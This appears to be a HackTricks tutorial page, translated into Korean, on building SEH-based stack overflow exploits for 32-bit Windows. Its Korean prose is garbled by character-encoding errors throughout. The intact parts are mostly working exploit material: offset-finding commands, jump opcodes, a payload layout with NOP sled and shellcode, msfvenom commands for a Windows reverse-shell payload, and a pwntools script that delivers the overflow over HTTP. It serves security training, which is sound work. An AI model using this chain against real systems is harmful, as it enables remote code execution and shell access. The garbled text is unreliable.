Windows SEH ๊ธฐ๋ฐ ์คํ ์ค๋ฒํ๋ก์ฐ ์ต์คํ๋ก์ (nSEH/SEH)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SEH ๊ธฐ๋ฐ ์ต์คํ๋ก์์ ์คํ์ ์ ์ฅ๋ Structured Exception Handler ์ฒด์ธ์ ์ ์ฉํ๋ ๊ณ ์ ์ ์ธ x86 Windows ๊ธฐ๋ฒ์ ๋๋ค. ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ ๊ฐ์ 4๋ฐ์ดํธ ํ๋๋ฅผ ๋ฎ์ด์ธ ๋
- nSEH: ๋ค์ SEH ๋ ์ฝ๋๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ, ๋ฐ
- SEH: ์์ธ ํธ๋ค๋ฌ ํจ์์ ํฌ์ธํฐ
๊ณต๊ฒฉ์๋ ๋ค์๊ณผ ๊ฐ์ด ์คํ ํ๋ฆ์ ์ ์ดํ ์ ์์ต๋๋ค:
- SEH๋ฅผ SafeSEH ๋ฑ์ด ์ ์ฉ๋์ง ์์(non-protected) ๋ชจ๋์ POP POP RET ๊ฐ์ ฏ ์ฃผ์๋ก ์ค์ ํ์ฌ, ์์ธ๊ฐ ๋ฐ์ํ์ ๋ ๊ทธ ๊ฐ์ ฏ์ด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํธ๋ก ๋ฆฌํดํ๋๋ก ํ๊ณ ,
- nSEH๋ฅผ ์ฌ์ฉํด ์คํ์ (๋ณดํต ์งง์ ์ ํ) ์ค๋ฒํ๋ก์ฐ๋ก ์ฑ์์ง ํฐ ๋ฒํผ(์ฌ๊ธฐ์ shellcode๊ฐ ์์นํจ)๋ก ๋๋๋ฆฝ๋๋ค.
์ด ๊ธฐ๋ฒ์ 32-bit ํ๋ก์ธ์ค(x86)์๋ง ํด๋นํฉ๋๋ค. ํ๋ ์์คํ ์์๋ ๊ฐ์ ฏ์ผ๋ก SafeSEH์ ASLR์ด ์ ์ฉ๋์ง ์์ ๋ชจ๋์ ์ ํธํฉ๋๋ค. C-strings ๋ฐ HTTP ํ์ฑ ๋๋ฌธ์ ์ข ์ข 0x00, 0x0a, 0x0d (NUL/CR/LF) ๊ฐ์ bad characters๊ฐ ํฌํจ๋ฉ๋๋ค.
์ ํํ ์คํ์ ์ฐพ๊ธฐ (nSEH / SEH)
- ํ๋ก์ธ์ค๋ฅผ ํฌ๋์์ํค๊ณ SEH ์ฒด์ธ์ด ๋ฎ์ด์จ์ก๋์ง ํ์ธํ์ธ์ (์: x32dbg/x64dbg์์ SEH ๋ทฐ๋ฅผ ํ์ธ).
- ์ค๋ฒํ๋ก์ฐ ๋ฐ์ดํฐ๋ก cyclic pattern์ ์ ์กํ๊ณ nSEH์ SEH์ ๋๋ฌํ๋ ๋ dword์ ์คํ์ ์ ๊ณ์ฐํ์ธ์.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# โ offsets example: nSEH=660, SEH=664
Validate by placing markers at those positions (e.g., nSEH=bโBBโ, SEH=bโCCโ). Keep total length constant to make the crash reproducible.
Choosing a POP POP RET (SEH gadget)
You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:
- Mona (Immunity/WinDbg):
!mona modulesthen!mona seh -m modulename. - x64dbg plugin ERC.Xdbg:
ERC --SEHto list POP POP RET gadgets and SafeSEH status.
Pick an address that contains no badchars when written little-endian (e.g., p32(0x004094D8)). Prefer gadgets inside the vulnerable binary if protections allow.
Jump-back technique (short + near jmp)
nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
nSEH๊ฐ offset 660์ ์๋ 1000-byte payload์ ๋ํ ๋ ์ด์์ ์์ด๋์ด:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
์คํ ํ๋ฆ:
- ์์ธ๊ฐ ๋ฐ์ํ๋ฉด ๋์คํจ์ฒ๊ฐ ๋ฎ์ด์ด SEH๋ฅผ ์ฌ์ฉํ๋ค.
- POP POP RET๊ฐ ์ธ์์ธ๋๋์ด ์ฐ๋ฆฌ nSEH๋ก ์ง์ ํ๋ค.
- nSEH๊ฐ
jmp short -8๋ฅผ ์คํํ์ฌ 5-byte near jump๋ก ์ ํํ๋ค. - Near jump๊ฐ ์ฐ๋ฆฌ์ ๋ฒํผ ์์ ๋ถ๋ถ์ ์ฐฉ์งํ์ฌ NOP sled + shellcode๊ฐ ์์นํ ๊ณณ์ผ๋ก ์ด๋ํ๋ค.
Bad characters
์ ์ฒด badchar ๋ฌธ์์ด์ ๋ง๋ค๊ณ ํฌ๋์ ํ ์คํ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋น๊ตํ์ฌ ๋์ ํ์์ ์ํด ๋ณํ๋ ๋ฐ์ดํธ๋ฅผ ์ ๊ฑฐํ๋ค. HTTP-based overflows์ ๊ฒฝ์ฐ, \x00\x0a\x0d๋ ๊ฑฐ์ ํญ์ ์ ์ธ๋๋ค.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode ์์ฑ (x86)
msfvenom์ ์์ ์ badchars์ ํจ๊ป ์ฌ์ฉํ์ธ์. ์์ NOP sled๋ ์ฐฉ์ง ์์น์ ์ค์ฐจ๋ฅผ ํ์ฉํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
์ฆ์์์ ์์ฑํ๋ ๊ฒฝ์ฐ, hex ํ์์ Python์์ embedํ๊ณ unhexํ๊ธฐ์ ํธ๋ฆฌํฉ๋๋ค:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
HTTP๋ก ์ ๋ฌํ๊ธฐ (precise CRLF + Content-Length)
์ทจ์ฝํ ๋ฒกํฐ๊ฐ HTTP ์์ฒญ ๋ณธ๋ฌธ์ธ ๊ฒฝ์ฐ, ์ ํํ CRLF์ Content-Length๋ฅผ ํฌํจํ raw request๋ฅผ ์ ์ํ์ฌ ์๋ฒ๊ฐ ์ ์ฒด ์ค๋ฒํ๋ก์ฐ๋ ๋ณธ๋ฌธ์ ์ฝ๋๋ก ํ๋ผ.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
๋๊ตฌ
- x32dbg/x64dbg โ SEH ์ฒด์ธ์ ๊ด์ฐฐํ๊ณ ํฌ๋์๋ฅผ triage(๋ถ๋ฅ)ํ๊ธฐ ์ํด.
- ERC.Xdbg (x64dbg ํ๋ฌ๊ทธ์ธ) โ SEH gadgets ์ด๊ฑฐ:
ERC --SEH. - Mona โ ๋์์ผ๋ก:
!mona modules,!mona seh. - nasmshell โ short/near jumps๋ฅผ ์ด์ ๋ธํ๊ณ raw opcodes๋ฅผ ๋ณต์ฌํ๊ธฐ ์ํด.
- pwntools โ ์ ๋ฐํ ๋คํธ์ํฌ payload๋ฅผ ์ ์ํ๊ธฐ ์ํด.
๋ ธํธ ๋ฐ ์ฃผ์์ฌํญ
- x86 ํ๋ก์ธ์ค์๋ง ์ ์ฉ๋ฉ๋๋ค. x64๋ ๋ค๋ฅธ SEH ์ฒด๊ณ๋ฅผ ์ฌ์ฉํ๋ฉฐ SEH ๊ธฐ๋ฐ ์ต์คํ๋ก์์ ์ผ๋ฐ์ ์ผ๋ก ์คํ ๊ฐ๋ฅํ์ง ์์ต๋๋ค.
- SafeSEH์ ASLR์ด ์๋ ๋ชจ๋ ๋ด์ gadgets๋ฅผ ์ฐ์ ์ ์ผ๋ก ์ฌ์ฉํ์ธ์. ๊ทธ๋ ์ง ์๋ค๋ฉด ํ๋ก์ธ์ค์ ๋ก๋๋ ๋ณดํธ๋์ง ์์ ๋ชจ๋์ ์ฐพ์ผ์ธ์.
- ํฌ๋์ ์ ์๋์ผ๋ก ์ฌ์์ํ๋ ์๋น์ค watchdogs๋ ๋ฐ๋ณต์ ์ธ ์ต์คํ๋ก์ ๊ฐ๋ฐ์ ๋ ์ฝ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
- HTB: Rainbow โ SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg โ Exploit Research Plugin for x64dbg (SEH search)
- Corelan โ Exploit writing tutorial part 7 (SEH)
- Mona.py โ WinDbg/Immunity helper
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


